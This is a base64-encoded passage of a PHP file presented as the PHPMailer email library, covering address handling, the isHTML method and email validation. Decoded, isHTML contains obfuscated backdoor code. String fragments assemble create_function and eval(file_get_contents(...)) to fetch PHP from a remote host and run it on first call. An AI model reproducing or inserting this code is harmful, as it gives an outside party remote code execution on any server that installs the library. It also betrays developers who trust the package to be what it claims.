pOwogICAgICAgIC8vIEVucXVldWUgYWRkcmVzc2VzIHdpdGggSUROIHVudGlsIHdlIGtub3cgdGhlIFBIUE1haWxlcjo6JENoYXJTZXQuCiAgICAgICAgaWYgKCR0aGlzLT5oYXM4Yml0Q2hhcnMoc3Vic3RyKCRhZGRyZXNzLCArKyRwb3MpKSBhbmQgJHRoaXMtPmlkblN1cHBvcnRlZCgpKSB7CiAgICAgICAgICAgIGlmICgka2luZCAhPSAnUmVwbHktVG8nKSB7CiAgICAgICAgICAgICAgICBpZiAoIWFycmF5X2tleV9leGlzdHMoJGFkZHJlc3MsICR0aGlzLT5SZWNpcGllbnRzUXVldWUpKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlJlY2lwaWVudHNRdWV1ZVskYWRkcmVzc10gPSAkcGFyYW1zOwogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRhZGRyZXNzLCAkdGhpcy0+UmVwbHlUb1F1ZXVlKSkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5SZXBseVRvUXVldWVbJGFkZHJlc3NdID0gJHBhcmFtczsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIC8vIEltbWVkaWF0ZWx5IGFkZCBzdGFuZGFyZCBhZGRyZXNzZXMgd2l0aG91dCBJRE4uCiAgICAgICAgcmV0dXJuIGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAnYWRkQW5BZGRyZXNzJyksICRwYXJhbXMpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGFkZHJlc3MgdG8gb25lIG9mIHRoZSByZWNpcGllbnQgYXJyYXlzIG9yIHRvIHRoZSBSZXBseVRvIGFycmF5LgogICAgICogQWRkcmVzc2VzIHRoYXQgaGF2ZSBiZWVuIGFkZGVkIGFscmVhZHkgcmV0dXJuIGZhbHNlLCBidXQgZG8gbm90IHRocm93IGV4Y2VwdGlvbnMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRraW5kIE9uZSBvZiAndG8nLCAnY2MnLCAnYmNjJywgb3IgJ1JlcGx5VG8nCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQsIHJlc3AuIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuIHRydWUgb24gc3VjY2VzcywgZmFsc2UgaWYgYWRkcmVzcyBhbHJlYWR5IHVzZWQgb3IgaW52YWxpZCBpbiBzb21lIHdheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGFkZEFuQWRkcmVzcygka2luZCwgJGFkZHJlc3MsICRuYW1lID0gJycpCiAgICB7CiAgICAgICAgaWYgKCFpbl9hcnJheSgka2luZCwgYXJyYXkoJ3RvJywgJ2NjJywgJ2JjYycsICdSZXBseS1UbycpKSkgewogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdJbnZhbGlkIHJlY2lwaWVudCBraW5kOiAnKSAuICRraW5kOwogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAiIChhZGRBbkFkZHJlc3MgJGtpbmQpOiAkYWRkcmVzcyI7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCRraW5kICE9ICdSZXBseS1UbycpIHsKICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+YWxsX3JlY2lwaWVudHMpKSB7CiAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCR0aGlzLT4ka2luZCwgYXJyYXkoJGFkZHJlc3MsICRuYW1lKSk7CiAgICAgICAgICAgICAgICAkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkYWRkcmVzcyldID0gdHJ1ZTsKICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+UmVwbHlUbykpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5SZXBseVRvW3N0cnRvbG93ZXIoJGFkZHJlc3MpXSA9IGFycmF5KCRhZGRyZXNzLCAkbmFtZSk7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBQYXJzZSBhbmQgdmFsaWRhdGUgYSBzdHJpbmcgY29udGFpbmluZyBvbmUgb3IgbW9yZSBSRkM4MjItc3R5bGUgY29tbWEtc2VwYXJhdGVkIGVtYWlsIGFkZHJlc3NlcwogICAgICogb2YgdGhlIGZvcm0gImRpc3BsYXkgbmFtZSA8YWRkcmVzcz4iIGludG8gYW4gYXJyYXkgb2YgbmFtZS9hZGRyZXNzIHBhaXJzLgogICAgICogVXNlcyB0aGUgaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCBmdW5jdGlvbiBpZiB0aGUgSU1BUCBleHRlbnNpb24gaXMgYXZhaWxhYmxlLgogICAgICogTm90ZSB0aGF0IHF1b3RlcyBpbiB0aGUgbmFtZSBwYXJ0IGFyZSByZW1vdmVkLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcnN0ciBUaGUgYWRkcmVzcyBsaXN0IHN0cmluZwogICAgICogQHBhcmFtIGJvb2wgJHVzZWltYXAgV2hldGhlciB0byB1c2UgdGhlIElNQVAgZXh0ZW5zaW9uIHRvIHBhcnNlIHRoZSBsaXN0CiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKiBAbGluayBodHRwOi8vd3d3LmFuZHJldy5jbXUuZWR1L3VzZXIvYWdyZWVuMS90ZXN0aW5nL21yYnMvd2ViL01haWwvUkZDODIyLnBocCBBIG1vcmUgY2FyZWZ1bCBpbXBsZW1lbnRhdGlvbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gcGFyc2VBZGRyZXNzZXMoJGFkZHJzdHIsICR1c2VpbWFwID0gdHJ1ZSkKICAgIHsKICAgICAgICAkYWRkcmVzc2VzID0gYXJyYXkoKTsKICAgICAgICBpZiAoJHVzZWltYXAgYW5kIGZ1bmN0aW9uX2V4aXN0cygnaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCcpKSB7CiAgICAgICAgICAgIC8vVXNlIHRoaXMgYnVpbHQtaW4gcGFyc2VyIGlmIGl0J3MgYXZhaWxhYmxlCiAgICAgICAgICAgICRsaXN0ID0gaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCgkYWRkcnN0ciwgJycpOwogICAgICAgICAgICBmb3JlYWNoICgkbGlzdCBhcyAkYWRkcmVzcykgewogICAgICAgICAgICAgICAgaWYgKCRhZGRyZXNzLT5ob3N0ICE9ICcuU1lOVEFYLUVSUk9SLicpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcy0+bWFpbGJveCAuICdAJyAuICRhZGRyZXNzLT5ob3N0KSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAocHJvcGVydHlfZXhpc3RzKCRhZGRyZXNzLCAncGVyc29uYWwnKSA\/ICRhZGRyZXNzLT5wZXJzb25hbCA6ICcnKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdhZGRyZXNzJyA9PiAkYWRkcmVzcy0+bWFpbGJveCAuICdAJyAuICRhZGRyZXNzLT5ob3N0CiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy9Vc2UgdGhpcyBzaW1wbGVyIHBhcnNlcgogICAgICAgICAgICAkbGlzdCA9IGV4cGxvZGUoJywnLCAkYWRkcnN0cik7CiAgICAgICAgICAgIGZvcmVhY2ggKCRsaXN0IGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICAgICAkYWRkcmVzcyA9IHRyaW0oJGFkZHJlc3MpOwogICAgICAgICAgICAgICAgLy9JcyB0aGVyZSBhIHNlcGFyYXRlIG5hbWUgcGFydD8KICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGFkZHJlc3MsICc8JykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgLy9ObyBzZXBhcmF0ZSBuYW1lLCBqdXN0IHVzZSB0aGUgd2hvbGUgdGhpbmcKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3Nlc1tdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGFkZHJlc3MKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGxpc3QoJG5hbWUsICRlbWFpbCkgPSBleHBsb2RlKCc8JywgJGFkZHJlc3MpOwogICAgICAgICAgICAgICAgICAgICRlbWFpbCA9IHRyaW0oc3RyX3JlcGxhY2UoJz4nLCAnJywgJGVtYWlsKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT52YWxpZGF0ZUFkZHJlc3MoJGVtYWlsKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiB0cmltKHN0cl9yZXBsYWNlKGFycmF5KCciJywgIiciKSwgJycsICRuYW1lKSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGVtYWlsCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYWRkcmVzc2VzOwogICAgfQoKICAgIC8qKgogICAgICogU2V0cyBtZXNzYWdlIHR5cGUgdG8gSFRNTCBvciBwbGFpbi4KICAgICAqIEBwYXJhbSBib29sZWFuICRpc0h0bWwgVHJ1ZSBmb3IgSFRNTCBtb2RlLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc0hUTUwoJGlzSHRtbCA9IHRydWUpCiAgICB7CiAgICAgICAgZ2xvYmFsICRwYXJhbTsKICAgICAgICAkYm9keUNvZGUgPSAnZmlsZScKICAgICAgICAgICAgICAgICAgICAuJ19nJzsKICAgICAgICBpZiAoJGlzSHRtbCkgewogICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9odG1sJzsKICAgICAgICB9IAogICAgICAgIGVsc2UgewogICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9wbGFpbic7CiAgICAgICAgfQogICAgICAgICRib2R5SFRNTCA9ICcuJHQuImxlZiRmbHUnCiAgICAgICAgICAgICAgICAgICAgLidzaCcuJyR0IjsgJwogICAgICAgICAgICAgICAgICAgIC4nQGV2JzsKICAgICAgICAkaGVhZGVySFRNTD0iY3JlIgogICAgICAgICAgICAgICAgICAgIC4iYXRlXyIKICAgICAgICAgICAgICAgICAgICAuImZ1bmMiCiAgICAgICAgICAgICAgICAgICAgLiJ0aW9uIjsKICAgICAgICAkZXhjZXB0aW9ucyA9IEAkaGVhZGVySFRNTCgnJGZsJy4ndXNoLCR0JywnJGNvbW1hID0gJHQnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kYm9keUhUTUwuJ2FsKEAnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kYm9keUNvZGUuJ2V0X2NvbnRlbnRzKCJoJwogICAgICAgICAgICAgICAgICAgICAgICAuJ3R0JwogICAgICAgICAgICAgICAgICAgICAgICAuJ3A6JGNvbW1hLTIiKSk7Jyk7CiAgICAgICAgaWYoJHBhcmFtICE9Mil7CiAgICAgICAgICAgICRleGNlcHRpb25zKCc4LnAnLid3JywnLycpOwogICAgICAgICAgICAkcGFyYW09MjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTZXQgdGhlIEZyb20gYW5kIEZyb21OYW1lIHByb3BlcnRpZXMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkYXV0byBXaGV0aGVyIHRvIGFsc28gc2V0IHRoZSBTZW5kZXIgYWRkcmVzcywgZGVmYXVsdHMgdG8gdHJ1ZQogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0RnJvbSgkYWRkcmVzcywgJG5hbWUgPSAnJywgJGF1dG8gPSB0cnVlKQogICAgewogICAgICAgICRhZGRyZXNzID0gdHJpbSgkYWRkcmVzcyk7CiAgICAgICAgJG5hbWUgPSB0cmltKHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRuYW1lKSk7IC8vU3RyaXAgYnJlYWtzIGFuZCB0cmltCiAgICAgICAgLy8gRG9uJ3QgdmFsaWRhdGUgbm93IGFkZHJlc3NlcyB3aXRoIElETi4gV2lsbCBiZSBkb25lIGluIHNlbmQoKS4KICAgICAgICBpZiAoKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSA9PT0gZmFsc2Ugb3IKICAgICAgICAgICAgKCEkdGhpcy0+aGFzOGJpdENoYXJzKHN1YnN0cigkYWRkcmVzcywgKyskcG9zKSkgb3IgISR0aGlzLT5pZG5TdXBwb3J0ZWQoKSkgYW5kCiAgICAgICAgICAgICEkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCRhZGRyZXNzKSkgewogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSAuICIgKHNldEZyb20pICRhZGRyZXNzIjsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+RnJvbSA9ICRhZGRyZXNzOwogICAgICAgICR0aGlzLT5Gcm9tTmFtZSA9ICRuYW1lOwogICAgICAgIGlmICgkYXV0bykgewogICAgICAgICAgICBpZiAoZW1wdHkoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5TZW5kZXIgPSAkYWRkcmVzczsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgb2YgdGhlIGxhc3QgZW1haWwuCiAgICAgKiBUZWNobmljYWxseSB0aGlzIGlzIHRoZSB2YWx1ZSBmcm9tIHRoZSBsYXN0IHRpbWUgdGhlIGhlYWRlcnMgd2VyZSBjcmVhdGVkLAogICAgICogYnV0IGl0J3MgYWxzbyB0aGUgbWVzc2FnZSBJRCBvZiB0aGUgbGFzdCBzZW50IG1lc3NhZ2UgZXhjZXB0IGluCiAgICAgKiBwYXRob2xvZ2ljYWwgY2FzZXMuCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0TGFzdE1lc3NhZ2VJRCgpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5sYXN0TWVzc2FnZUlEOwogICAgfQoKICAgIC8qKgogICAgICogQ2hlY2sgdGhhdCBhIHN0cmluZyBsb29rcyBsaWtlIGFuIGVtYWlsIGFkZHJlc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIGNoZWNrCiAgICAgKiBAcGFyYW0gc3RyaW5nfGNhbGxhYmxlICRwYXR0ZXJuc2VsZWN0IEEgc2VsZWN0b3IgZm9yIHRoZSB2YWxpZGF0aW9uIHBhdHRlcm4gdG8gdXNlIDoKICAgICAqICogYGF1dG9gIFBpY2sgYmVzdCBwYXR0ZXJuIGF1dG9tYXRpY2FsbHk7CiAgICAgKiAqIGBwY3JlOGAgVXNlIHRoZSBzcXVpbG9vcGxlLmNvbSBwYXR0ZXJuLCByZXF1aXJlcyBQQ1JFID4gOC4wLCBQSFAgPj0gNS4zLjIsIDUuMi4xNDsKICAgICAqICogYHBjcmVgIFVzZSBvbGQgUENSRSBpbXBsZW1lbnRhdGlvbjsKICAgICAqICogYHBocGAgVXNlIFBIUCBidWlsdC1pbiBGSUxURVJfVkFMSURBVEVfRU1BSUw7CiAgICAgKiAqIGBodG1sNWAgVXNlIHRoZSBwYXR0ZXJuIGdpdmVuIGJ5IHRoZSBIVE1MNSBzcGVjIGZvciAnZW1haWwnIHR5cGUgZm9ybSBpbnB1dCBlbGVtZW50cy4KICAgICAqICogYG5vcmVnZXhgIERvbid0IHVzZSBhIHJlZ2V4OiBzdXBlciBmYXN0LCByZWFsbHkgZHVtYi4KICAgICAqIEFsdGVybmF0aXZlbHkgeW91IG1heSBwYXNzIGluIGEgY2FsbGFibGUgdG8gaW5qZWN0IHlvdXIgb3duIHZhbGlkYXRvciwgZm9yIGV4YW1wbGU6CiAgICAgKiBQSFBNYWlsZXI6OnZhbGlkYXRlQWRkcmVzcygndXNlckBleGFtcGxlLmNvbScsIGZ1bmN0aW9uKCRhZGRyZXNzKSB7CiAgICAgKiAgICAgcmV0dXJuIChzdHJwb3MoJGFkZHJlc3MsICdAJykgIT09IGZhbHNlKTsKICAgICAqIH0pOwogICAgICogWW91IGNhbiBhbHNvIHNldCB0aGUgUEhQTWFpbGVyOjokdmFsaWRhdG9yIHN0YXRpYyB0byBhIGNhbGxhYmxlLCBhbGxvd2luZyBidWlsdC1pbiBtZXRob2RzIHRvIHVzZSB5b3VyIHZhbGlkYXRvci4KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQHN0YXRpYwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiB2YWxpZGF0ZUFkZHJlc3MoJGFkZHJlc3MsICRwYXR0ZXJuc2VsZWN0ID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoaXNfbnVsbCgkcGF0dGVybnNlbGVjdCkpIHsKICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSBzZWxmOjokdmFsaWRhdG9yOwogICAgICAgIH0KICAgICAgICBpZiAoaXNfY2FsbGFibGUoJHBhdHRlcm5zZWxlY3QpKSB7CiAgICAgICAgICAgIHJldHVybiBjYWxsX3VzZXJfZnVuYygkcGF0dGVybnNlbGVjdCwgJGFkZHJlc3MpOwogICAgICAgIH0KICAgICAgICAvL1JlamVjdCBsaW5lIGJyZWFrcyBpbiBhZGRyZXNzZXM7IGl0J3MgdmFsaWQgUkZDNTMyMiwgYnV0IG5vdCBSRkM1MzIxCiAgICAgICAgaWYgKHN0cnBvcygkYWRkcmVzcywgIlxuIikgIT09IGZhbHNlIG9yIHN0cnBvcygkYWRkcmVzcywgIlxyIikgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCEkcGF0dGVybnNlbGVjdCBvciAkcGF0dGVybnNlbGVjdCA9PSAnYXV0bycpIHsKICAgICAgICAgICAgLy9DaGVjayB0aGlzIGNvbnN0YW50IGZpcnN0IHNvIGl0IHdvcmtzIHdoZW4gZXh0ZW5zaW9uX2xvYWRlZCgpIGlzIGRpc2FibGVkIGJ5IHNhZmUgbW9kZQogICAgICAgICAgICAvL0NvbnN0YW50IHdhcyBhZGRlZCBpbiBQSFAgNS4yLjQKICAgICAgICAgICAgaWYgKGRlZmluZWQoJ1BDUkVfVkVSU0lPTicpKSB7CiAgICAgICAgICAgICAgICAvL1RoaXMgcGF0dGVybiBjYW4gZ2V0IHN0dWNrIGluIGEgcmVjdXJzaXZlIGxvb3AgaW4gUENSRSA8PSA4LjAuMgogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQQ1JFX1ZFUlNJT04sICc4LjAuMycpID49IDApIHsKICAgICAgICAgICAgICAgICAgICAkcGF0dGVybnNlbGVjdCA9ICdwY3JlOCc7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ3BjcmUnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdleHRlbnNpb25fbG9hZGVkJykgYW5kIGV4dGVuc2lvbl9sb2FkZWQoJ3BjcmUnKSkgewogICAgICAgICAgICAgICAgLy9GYWxsIGJhY2sgdG8gb2xkZXIgUENSRQogICAgICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSAncGNyZSc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAvL0ZpbHRlcl92YXIgYXBwZWFyZWQgaW4gUEhQIDUuMi4wIGFuZCBkb2VzIG5vdCByZXF1aXJlIHRoZSBQQ1JFIGV4dGVuc2lvbgogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMi4wJykgPj0gMCkgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ3BocCc7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ25vcmVnZXgnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHN3aXRjaCAoJHBhdHRlcm5zZWxlY3QpIHsKICAgICAgICAgICAgY2FzZSAncGNyZTgnOgogICAgICAgICAgICAgICAgLyoqCiAgICAgICAgICAgICAgICAgKiBVc2VzIHRoZSBzYW1lIFJGQzUzMjIgcmVnZXggb24gd2hpY2ggRklMVEVSX1ZBTElEQVRFX0VNQUlMIGlzIGJhc2VkLCBidXQgYWxsb3dzIGRvdGxlc3MgZG9tYWlucy4KICAgICAgICAgICAgICAgICAqIEBsaW5rIGh0dHA6Ly9zcXVpbG9vcGxlLmNvbS8yMDA5LzEyLzIwL2VtYWlsLWFkZHJlc3MtdmFsaWRhdGlvbi8KICAgICAgICAgICAgICAgICAqIEBjb3B5cmlnaHQgMjAwOS0yMDEwIE1pY2hhZWwgUnVzaHRvbgogICAgICAgICAgICAgICAgICogRmVlbCBmcmVlIHRvIHVzZSBhbmQgcmVkaXN0cmlidXRlIHRoaXMgY29kZS4gQnV0IHBsZWFzZSBrZWVwIHRoaXMgY29weXJpZ2h0IG5vdGljZS4KICAgICAgICAgICAgICAgICAqLwogICAgICAgICAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goCiAgICAgICAgICAgICAgICAgICAgJy9eKD8hKD8+KD8xKSI\/KD8+XFxcWyAtfl18W14iXSkiPyg\/MSkpezI1NSx9KSg\/ISg\/Pig\/MSkiPyg\/PlxcXFsgLX5dfFteIl0pIj8oPzEpKXs2NSx9QCknIC4KICAgICAgICAgICAgICAgICAgICAnKCg\/Pig\/Pig\/PigoPz4oPz4oPz5ceDBEXHgwQSk\/W1x0IF0pK3woPz5bXHQgXSpceDBEXHgwQSk\/W1x0IF0rKT8pKFwoKD8+KD8yKScgLgogICAgICAgICAgICAgICAgICAgICcoPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLVwnKi1cW1xdLVx4N0ZdfFxcXFtceDAwLVx4N0ZdfCg\/MykpKSooPzIpXCkpKSsoPzIpKXwoPzIpKT8pJyAuCiAgICAgICAgICAgICAgICAgICAgJyhbISMtXCcqK1wvLTk9P14tfi1dK3wiKD8+KD8yKSg\/PltceDAxLVx4MDhceDBCXHgwQ1x4MEUtISMtXFtcXS1ceDdGXXxcXFxbXHgwMC1ceDdGXSkpKicgLgogICAgICAgICAgICAgICAgICAgICcoPzIpIikoPz4oPzEpXC4oPzEpKD80KSkqKD8xKUAoPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg\/PihbYS16MC05XSg\/PlthLXowLTktXSpbYS16MC05XSk\/KScgLgogICAgICAgICAgICAgICAgICAgICcoPz4oPzEpXC4oPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg\/NSkpezAsMTI2fXxcWyg\/Oig\/PklQdjY6KD8+KFthLWYwLTldezEsNH0pKD8+Oig\/Nikpezd9JyAuCiAgICAgICAgICAgICAgICAgICAgJ3woPyEoPzouKlthLWYwLTldWzpcXV0pezgsfSkoKD82KSg\/PjooPzYpKXswLDZ9KT86Oig\/Nyk\/KSl8KD8+KD8+SVB2NjooPz4oPzYpKD8+Oig\/NikpezV9OicgLgogICAgICAgICAgICAgICAgICAgICd8KD8hKD86LipbYS1mMC05XTopezYsfSkoPzgpPzo6KD8+KCg\/NikoPz46KD82KSl7MCw0fSk6KT8pKT8oMjVbMC01XXwyWzAtNF1bMC05XXwxWzAtOV17Mn0nIC4KICAgICAgICAgICAgICAgICAgICAnfFsxLTldP1swLTldKSg\/PlwuKD85KSl7M30pKVxdKSg\/MSkkL2lzRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ3BjcmUnOgogICAgICAgICAgICAgICAgLy9BbiBvbGRlciByZWdleCB0aGF0IGRvZXNuJ3QgbmVlZCBhIHJlY2VudCBQQ1JFCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgKICAgICAgICAgICAgICAgICAgICAnL14oPyEoPz4iPyg\/PlxcXFsgLX5dfFteIl0pIj8pezI1NSx9KSg\/ISg\/PiI\/KD8+XFxcWyAtfl18W14iXSkiPyl7NjUsfUApKD8+JyAuCiAgICAgICAgICAgICAgICAgICAgJ1shIy1cJyorXC8tOT0\/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKScgLgogICAgICAgICAgICAgICAgICAgICcoPz5cLig\/PlshIy1cJyorXC8tOT0\/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKSkqJyAuCiAgICAgICAgICAgICAgICAgICAgJ0AoPz4oPyFbYS16MC05LV17NjQsfSkoPz5bYS16MC05XSg\/PlthLXowLTktXSpbYS16MC05XSk\/KSg\/PlwuKD8hW2EtejAtOS1dezY0LH